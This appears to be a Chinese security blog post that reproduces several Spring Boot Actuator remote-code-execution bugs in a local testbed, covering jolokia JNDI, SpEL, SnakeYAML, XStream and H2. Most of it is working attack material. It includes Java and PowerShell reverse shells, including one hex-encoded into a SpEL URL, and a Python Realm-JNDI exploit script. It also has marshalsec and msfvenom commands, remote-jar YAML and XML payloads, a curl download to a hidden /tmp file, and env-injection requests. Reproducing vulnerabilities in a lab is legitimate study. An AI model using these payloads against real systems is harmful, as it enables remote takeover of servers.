Spring-RCE系列

1. 前言

​ 前段时间一直在看Java反序列化相关的东西，最近又闲了下来有空了，继续回来看看Java。这里是采用了actuator-testbed这个项目，直接一键构建出来一个spring的环境拿来测试用，很方便。

2. 环境

1
2
3
java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)

这里我Java选的是1.8版本的，记得别选11，版本太高有些漏洞复现会有问题的。

直接去github上下载源码就行，或者直接git clone

1
git clone https://github.com/veracode-research/actuator-testbed.git

源码下载后我们有两种构建方法，一种是直接使用mvn命令构建启动

1
2
mvn install
mvn spring-boot:run

当然，我们也可以用idea去构建。这里提一下，用idea构建的时候注意jdk版本，我是因为装了好几个版本的jdk，导致idea构建时不小心默认选了jdk 11，导致命令怎么都执行不成功，纠结了半天。。。

image-20230104173104521

这里idea构建的话，直接打开然后等待build结束后运行就好，也没什么技术含量，唯一需要注意的地方就是jdk的版本问题。

构建完成后，访问IP:Port，成功构建（这里IP和Port在log中会有提示）

image-20230104173524254

image-20230104173420853

不过还有个问题，这个环境搭建的其实并不是特别全，有些漏洞还是没有环境复现，需要额外再搭建环境，不过方法很简单，直接下载源码导入IDEA然后一键跑起来就行。源码在文末的参考链接SpringBootVulExploit\repository里，可以自己下载。

3. 漏洞复现

​ 环境搭建完成后，接下来就是我们的漏洞复现了，一个一个来

3.1 jolokia logback JNDI RCE

漏洞代码：

1
springboot-jolokia-logback-rce

利用条件：

  1. 目标网站存在/jolokia或/actuator/jolokia接口
  2. 目标使用了jolokia-core依赖(版本要求未知)并且环境中存在相关MBean
  3. 目标可以请求攻击者的HTTP服务器(即可出网)
  4. 普通JNDI注入受目标jdk版本影响，jdk < 6u201/7u191/8u182/11.0.1(LDAP)，相关环境可绕过(不会)

利用方法：

  1. 查看已存在的MBeans

访问/jolokia/list接口，查看是否存在ch.qos.logback.classic.jmx.JMXConfigurator和reloadByURL关键词

image-20230104175500554

目标存在，good

  1. 托管xml文件

在vps上开启一个http服务器，用来后面的利用。因为是测试，这里我直接开在本地了。

1
2
python2 -m SimpleHTTPServer 80
python3 -m http.server 80

image-20230104175824828

在开启http服务的目录下创建一个以xml结尾的example.xml文件(名字其实可以随便起)

1
2
3
<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>
  1. 准备payload

准备好我们的前置条件后，接下来还需要我们的payload。这里我一共测了两个，都可以用

JNDIObject.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
    static {
        try{
            String ip = "vps ip";
            String port = "vps port";
            String py_path = null;
            String[] cmd;
            if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
                String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
                for(int i = 0; i < py_envs.length; ++i) {
                    String py = py_envs[i];
                    if ((new File(py)).exists()) {
                        py_path = py;
                        break;
                    }
                }
                if (py_path != null) {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
                    } else {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
                    }
                } else {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{"/bin/bash"};
                    } else {
                        cmd = new String[]{"/bin/sh"};
                    }
                }
            } else {
                cmd = new String[]{"cmd.exe"};
            }
            Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
            Socket s = new Socket(ip, Integer.parseInt(port));
            InputStream pi = p.getInputStream();
            InputStream pe = p.getErrorStream();
            InputStream si = s.getInputStream();
            OutputStream po = p.getOutputStream();
            OutputStream so = s.getOutputStream();
            while(!s.isClosed()) {
                while(pi.available() > 0) {
                    so.write(pi.read());
                }
                while(pe.available() > 0) {
                    so.write(pe.read());
                }
                while(si.available() > 0) {
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50L);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            }
            p.destroy();
            s.close();
        }catch (Throwable e){
            e.printStackTrace();
        }
    }
}

Evil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Evil{
    public static String exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
        return sb;
    }
    public Evil() throws Exception{
        String cmd = "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('vps ip',vps port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"";
        throw new Exception(exec(cmd));
    }
}

两个payload都能用，不过还是第一个师傅的好使，回弹的很丝滑。

编译方法我直接用的

1
2
3
4
5
6
7
8
javac JNDIObject.java
javac Evil.java

// 也可以使用兼容低版本jdk的形式来编译，为的是放置你使用的jdk版本过高导致编译出来的payload不能用
javac -source 1.5 -target 1.5 JNDIObject.java
javac -source 1.5 -target 1.5 Evil.java

// 这里把1.5改成1.8貌似也行？不过可能因为我不兼容编译都可以，所以没测出来有啥区别

这里编译成功后会生成一个class的文件，我们需要将这个class文件放置到上一步的web服务器目录下

  1. 架设恶意ldap服务

接下来下载marshalsec(直接github搜索jar包然后下载一个就行)，然后架设一个恶意的ldap服务，命令如下

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

image-20230105133257669

  1. 监听反弹shell端口

使用nc监听一个反弹端口，等待反弹shell(这里的端口和上面的payload同步)

1
nc -lvp 443

image-20230105133401018

  1. 从外部URL地址加载日志配置文件

拼接URL链接，触发漏洞。

1
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml

这里需要注意一点，如果访问后链接后目标请求了example.xml并且marshalsec也接收到了目标请求，但是目标没有请求JNDIObject.class，大概率是因为目标环境的jdk版本太高，导致JNDI利用失败

访问构造的URL后，成功触发漏洞

image-20230105133601424

回弹shell成功

image-20230105133620310

漏洞原理：

  1. 直接访问可触发漏洞的URL，相当于通过jolokia调用ch.qos.logback.classic.jmx.JMXConfigurator类的reloadByURL方法
  2. 目标机器请求外部日志配置文件URL地址，获得恶意xml文件内容
  3. 目标机器使用saxParser.parse解析xml文件
  4. xml文件中利用logback依赖的insertFormJNDI标签，设置了外部JNDI服务器地址
  5. 目标机器请求恶意JNDI服务器，导致JNDI注入，造成RCE漏洞

3.2 jolokia Realm JNDI RCE

漏洞代码：

1
springboot-jolokia-logback-rce

利用条件：

  1. 目标网站存在/jolokia或/actuator/jolokia接口
  2. 目标使用了jolokia-core依赖(版本要求未知)并且环境中存在相关MBean
  3. 目标可以请求攻击者的HTTP服务器(即可出网)
  4. 普通JNDI注入受目标jdk版本影响，jdk < 6u141/7u131/8u121(RMI)，相关环境可绕过(不会)

3.2.1 低版本JDK利用

利用方法：

其实利用方法同jolokia logback JNDI RCE，唯一的区别在于关键词的不同，以及架设的服务不同。

  1. 关键词

同样的也是访问jolokia/list接口，不同的是，这里需要查看是否存在type=MBeanFactory和createJNDIRealm

image-20230105135220325

image-20230105135231276

  1. 架设恶意rmi服务

这是第二个区别，架设的服务不同。一个是ldap服务，一个是rmi服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
  1. 漏洞触发

还有一个区别时，这个漏洞触发是通过python脚本来触发的，因为漏洞原理的不同，利用方式也有所不同。

脚本使用时记得自己修改下目标地址、RMI地址、端口等信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt


import requests


url = 'http://127.0.0.1:8090/jolokia'


create_realm = {
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}

wirte_factory = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}

write_url = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://your-vps-ip:1389/JNDIObject"
}

stop = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}

start = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}

flow = [create_realm, wirte_factory, write_url, stop, start]

for i in flow:
    print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
    r = requests.post(url, json=i)
    r.json()
    print(r.status_code)

这里其实还有个点需要注意，这里的jdk版本要求和logback JNDI RCE的要求是不同的，不可以是8u121。我一直用的jdk都是8u121版本的，复现这个漏洞时就出现了版本问题，需要切换下版本。

image-20230105142753578

shell成功回弹

image-20230105142804875

漏洞原理：

  1. 利用jolokia调用createJNDIRealm创建JNDIRealm
  2. 设置connectionURL地址为RMI Server URL
  3. 设置contextFactory为RegistryContextFactory
  4. 停止Realm
  5. 启动Realm以触发指定RMI地址的JNDI注入，造成RCE漏洞

3.2.2 高版本JDK利用(未解决)

这里心血来潮，让我们试试高版本的jdk利用。这里我换了kali来打，因为用到了msf的python反弹shell

  1. 生成msf的python反弹shell
1
msfvenom -p cmd/unix/reverse_python LHOST=10.30.7.37 LPORT=80 -f raw -o shell.py

其中LHOST为kali机IP

image-20230105144612757

  1. 启动Listener
1
msfconsole -qx "use exploit/multi/handler; set PAYLOAD cmd/unix/reverse_python; set LHOST 10.30.7.37; set LPORT 80; run"

image-20230105152407644

  1. 下载恶意脚本

启动JNDI-Injection-Exploit

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl -L http://vps:port/shell.py -o /tmp/.shell.py" -A "vps"

image-20230105152712381

利用spring-realm-jndi-rce脚本发送恶意payload

1
python3 spring-realm-jndi-rce.py http://127.0.0.1:8090/jolokia rmi://10.30.7.37:1099/eya8ty

image-20230105154115060

执行完了没有效果，奇奇怪怪的，先放着，回来在解决这个问题。

3.3 whitelabel error page SpEL RCE

漏洞代码：

1
springboot-spel-rce

上idea直接导入springboot-spel-rce代码，等它build完后直接运行就好。下面漏洞代码构建方法同此。

利用条件：

  1. spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
  2. 至少知道一个触发spring boot默认错误页面的接口及参数名

利用方法：

  1. 找到一个正常传参处

比如这里是访问/article，页面会报状态码为500的错误：Whitelabel Error Page

image-20230105171708012

构造一个表达式试试

1
http://127.0.0.1:9091/article?id=66

image-20230105171808151

可以看到我们提前定义好的回显，下面执行SpEl表达式试试

  1. 执行SpEl表达式

输入/article?id=${7*7}，如果发现报错页面将7*7的值计算出来并显示在报错页面上，那么基本可以确定存在SpEl表达式注入漏洞。

1
http://127.0.0.1:9091/article?id=${7*7}

image-20230105172646941

看起来存在RCE漏洞，让我们来构造一个弹计算器的payload试试看

1
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65}))}

image-20230105172805183

成功弹了个计算器出来，这意味着我们同样可以拿它来弹个shell，不妨试试看

1
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x70,0x6f,0x77,0x65,0x72,0x73,0x68,0x65,0x6c,0x6c,0x20,0x2d,0x6e,0x6f,0x70,0x20,0x2d,0x63,0x20,0x22,0x24,0x63,0x6c,0x69,0x65,0x6e,0x74,0x20,0x3d,0x20,0x4e,0x65,0x77,0x2d,0x4f,0x62,0x6a,0x65,0x63,0x74,0x20,0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x4e,0x65,0x74,0x2e,0x53,0x6f,0x63,0x6b,0x65,0x74,0x73,0x2e,0x54,0x43,0x50,0x43,0x6c,0x69,0x65,0x6e,0x74,0x28,0x27,0x31,0x30,0x2e,0x33,0x30,0x2e,0x31,0x2e,0x31,0x32,0x27,0x2c,0x37,0x37,0x37,0x37,0x29,0x3b,0x24,0x73,0x74,0x72,0x65,0x61,0x6d,0x20,0x3d,0x20,0x24,0x63,0x6c,0x69,0x65,0x6e,0x74,0x2e,0x47,0x65,0x74,0x53,0x74,0x72,0x65,0x61,0x6d,0x28,0x29,0x3b,0x5b,0x62,0x79,0x74,0x65,0x5b,0x5d,0x5d,0x24,0x62,0x79,0x74,0x65,0x73,0x20,0x3d,0x20,0x30,0x2e,0x2e,0x36,0x35,0x35,0x33,0x35,0x7c,0x25,0x7b,0x30,0x7d,0x3b,0x77,0x68,0x69,0x6c,0x65,0x28,0x28,0x24,0x69,0x20,0x3d,0x20,0x24,0x73,0x74,0x72,0x65,0x61,0x6d,0x2e,0x52,0x65,0x61,0x64,0x28,0x24,0x62,0x79,0x74,0x65,0x73,0x2c,0x20,0x30,0x2c,0x20,0x24,0x62,0x79,0x74,0x65,0x73,0x2e,0x4c,0x65,0x6e,0x67,0x74,0x68,0x29,0x29,0x20,0x2d,0x6e,0x65,0x20,0x30,0x29,0x7b,0x3b,0x24,0x64,0x61,0x74,0x61,0x20,0x3d,0x20,0x28,0x4e,0x65,0x77,0x2d,0x4f,0x62,0x6a,0x65,0x63,0x74,0x20,0x2d,0x54,0x79,0x70,0x65,0x4e,0x61,0x6d,0x65,0x20,0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x54,0x65,0x78,0x74,0x2e,0x41,0x53,0x43,0x49,0x49,0x45,0x6e,0x63,0x6f,0x64,0x69,0x6e,0x67,0x29,0x2e,0x47,0x65,0x74,0x53,0x74,0x72,0x69,0x6e,0x67,0x28,0x24,0x62,0x79,0x74,0x65,0x73,0x2c,0x30,0x2c,0x20,0x24,0x69,0x29,0x3b,0x24,0x73,0x65,0x6e,0x64,0x62,0x61,0x63,0x6b,0x20,0x3d,0x20,0x28,0x69,0x65,0x78,0x20,0x24,0x64,0x61,0x74,0x61,0x20,0x32,0x3e,0x26,0x31,0x20,0x7c,0x20,0x4f,0x75,0x74,0x2d,0x53,0x74,0x72,0x69,0x6e,0x67,0x20,0x29,0x3b,0x24,0x73,0x65,0x6e,0x64,0x62,0x61,0x63,0x6b,0x32,0x20,0x3d,0x20,0x24,0x73,0x65,0x6e,0x64,0x62,0x61,0x63,0x6b,0x20,0x2b,0x20,0x27,0x50,0x53,0x20,0x27,0x20,0x2b,0x20,0x28,0x70,0x77,0x64,0x29,0x2e,0x50,0x61,0x74,0x68,0x20,0x2b,0x20,0x27,0x3e,0x20,0x27,0x3b,0x24,0x73,0x65,0x6e,0x64,0x62,0x79,0x74,0x65,0x20,0x3d,0x20,0x28,0x5b,0x74,0x65,0x78,0x74,0x2e,0x65,0x6e,0x63,0x6f,0x64,0x69,0x6e,0x67,0x5d,0x3a,0x3a,0x41,0x53,0x43,0x49,0x49,0x29,0x2e,0x47,0x65,0x74,0x42,0x79,0x74,0x65,0x73,0x28,0x24,0x73,0x65,0x6e,0x64,0x62,0x61,0x63,0x6b,0x32,0x29,0x3b,0x24,0x73,0x74,0x72,0x65,0x61,0x6d,0x2e,0x57,0x72,0x69,0x74,0x65,0x28,0x24,0x73,0x65,0x6e,0x64,0x62,0x79,0x74,0x65,0x2c,0x30,0x2c,0x24,0x73,0x65,0x6e,0x64,0x62,0x79,0x74,0x65,0x2e,0x4c,0x65,0x6e,0x67,0x74,0x68,0x29,0x3b,0x24,0x73,0x74,0x72,0x65,0x61,0x6d,0x2e,0x46,0x6c,0x75,0x73,0x68,0x28,0x29,0x7d,0x3b,0x24,0x63,0x6c,0x69,0x65,0x6e,0x74,0x2e,0x43,0x6c,0x6f,0x73,0x65,0x28,0x29,0x22}))}

不妨在附个payload的脚本

1
2
3
4
5
6
7
# coding: utf-8

result = ""
target = "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('10.30.1.12',7777);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""
for x in target:
    result += hex(ord(x)) + ","
print(result.rstrip(','))

执行脚本后成功回弹shell

image-20230105173541645

image-20230105173546670

漏洞原理：

  1. spring boot处理参数值出错，流程进入org.springframework.util.PropertyPlaceholderHelper类中
  2. 此时URL中的参数值会用parseStringValue方法进行递归解析
  3. 其中${}包围的内容都会被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration类的resolvePlaceholder方法当作SpEL表达式被解析执行，造成RCE漏洞。

3.4 spring cloud SnakeYAML RCE

漏洞代码：

1
springcloud-snakeyaml-rce

利用条件：

  1. 可以POST请求目标网站的/env接口设置属性
  2. 可以POST请求目标网站的/refresh接口刷新配置（存在spring-boot-starter-actuator依赖）
  3. 目标依赖的spring-cloud-starter版本 < 1.3.0.RELEASE
  4. 目标可以请求攻击者的HTTP服务器（请求可出网）

利用方法：

  1. 托管yml和jar文件

老规矩，先开个HTTP服务

1
2
python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在开启服务的目录下放个example.yml文件

1
2
3
4
5
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://your-vps-ip/Spring-SnakeYAML-RCE.jar"]
  ]]
]

接下来就需要我们去构造payload了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class Springyamlpayload implements ScriptEngineFactory {

    public Springyamlpayload() {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

打包成jar包(这里我改了名字)

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

打包好后，同样放到我们刚才开启HTTP服务的目录下

image-20230113161850931

  1. 设置spring.cloud.bootstrap.location属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}

我们这里用的是spring 1.x，直接上第一个就可以(不过我这里貌似发不出去包，重新抓了个包发的)

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /env HTTP/1.1
Host: 127.0.0.1:9092
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

spring.cloud.bootstrap.location=http://10.30.3.182:8000/example.yml

image-20230315102434522

访问页面，也可以看到成功插入进去

image-20230315102448690

  1. 刷新配置

spring 1.x

1
2
3
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
3
POST /actuator/refresh
Content-Type: application/json

抓包，刷新配置

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /refresh HTTP/1.1
Host: 127.0.0.1:9092
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


image-20230315102533652

成功返回，同时弹出计算器。

还是老样子，能弹计算器，那我们就要弹个shell回来，改下payload。

1
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.30.3.182',7777);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

直接替换里面的执行命令就好

image-20230315114250167

替换后重新打包，然后和上面的利用方式一样

image-20230315114348724

成功弹回shell

漏洞原理：

  1. spring.cloud.bootstrap.location属性被设置为外部恶意yml文件URL地址
  2. refresh触发目标机器请求远程HTTP服务器上的yml文件，获得其内容
  3. SnakeYAML由于存在反序列化漏洞，所以解析恶yml内容时会完成指定的动作
  4. 先是触发java.net.URL去拉取远程HTTP服务器上的恶意jar文件
  5. 然后是寻找jar文件中实现javax.script.ScriptEngineFactory接口的类并实例化
  6. 实例化类时执行恶意代码，造成RCE漏洞

3.5 eureka xstream deserialization RCE

放弃挣扎，这个漏洞死活复现不出来，不知道为啥，命令没办法执行。通信流量也有，但是就是没法执行，单独执行弹计算机的jar也可以用，很奇怪。

不过相关的流程还是copy一份大佬的吧，万一有师傅环境一把梭呢。

漏洞代码：

1
springboot-eureka-xstream-rce

这里需要提醒下，代码导入后有两处需要修改

application.properties

1
2
eureka.client.register-with-eureka=false
eureka.client.fetch-registry=false

image-20230315135602300

pom.xml

1
2
3
4
5
<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-api</artifactId>
    <version>1.7.25</version>
</dependency>

image-20230315135726049

利用条件：

  1. 可以POST请求目标网站的/env接口设置属性
  2. 可以POST请求目标网站的/refresh接口刷新配置(存在spring-boot-starter-actuator依赖)
  3. 目标使用的eureka-client < 1.8.7(通常包含在spring-cloud-starter-netflix-eureka-client依赖中)
  4. 目标可以请求攻击者的HTTP服务器(请求可出外网)

利用方法：

  1. 架设响应恶意XStream payload的网站

​ 这里的脚本作用是利用目标Linux机器上自带的python来反弹shell。使用python在自己控制的服务器上运行以上的脚本，并根据实际情况修改脚本中反弹shell的IP地址和端口号。(ps：本地有python也可以用，毕竟是测试用例)

  1. 监听反弹shell端口
1
nc -lvp 443
  1. 设置eureka.client.serviceUrl.defaultZone 属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
  1. 刷新配置

spring 1.x

1
2
3
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
3
POST /actuator/refresh
Content-Type: application/json

漏洞原理：

  1. eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
  2. refresh 触发目标机器请求远程 URL，提前架设的 fake eureka server 就会返回恶意的payload
  3. 目标机器相关依赖解析 payload，触发 XStream 反序列化，造成 RCE 漏洞

3.6 restart h2 database query RCE

漏洞代码：

1
springboot-h2-database-rce

利用条件：

  1. 可以POST请求目标网站的/env接口设置属性
  2. 可以POST请求目标网站的/restart接口重启应用
  3. 存在com.h2database.h2依赖(版本要求未知)

利用方法：

  1. 设置spring.datasource.hikari.connection-test-query属性

下面payload中的”T5”方法每一次执行命令后都需要更换名称(如T6)，然后才能被重新创建使用，否则下次restart重启应用时漏洞不会被触发

spring 1.x(无回显执行命令)

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');

spring 2.x(无回显执行命令)

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}

这个漏洞的版本是spring 2.x，抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9096
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
DNT: 1
Sec-GPC: 1
Content-Type: application/json
Content-Length: 244

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}


image-20230327150159410

访问页面，成功插入

image-20230327150216780

  1. 重启应用

spring 1.x

1
2
3
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
3
POST /actuator/restart
Content-Type: application/json

重放刷新包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /actuator/restart HTTP/1.1
Host: 127.0.0.1:9096
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
DNT: 1
Sec-GPC: 1
Content-Type: application/json
Content-Length: 0


image-20230327150313975

成功回弹计算器

image-20230327150354421

监听端口，构建反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9096
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
DNT: 1
Sec-GPC: 1
Content-Type: application/json
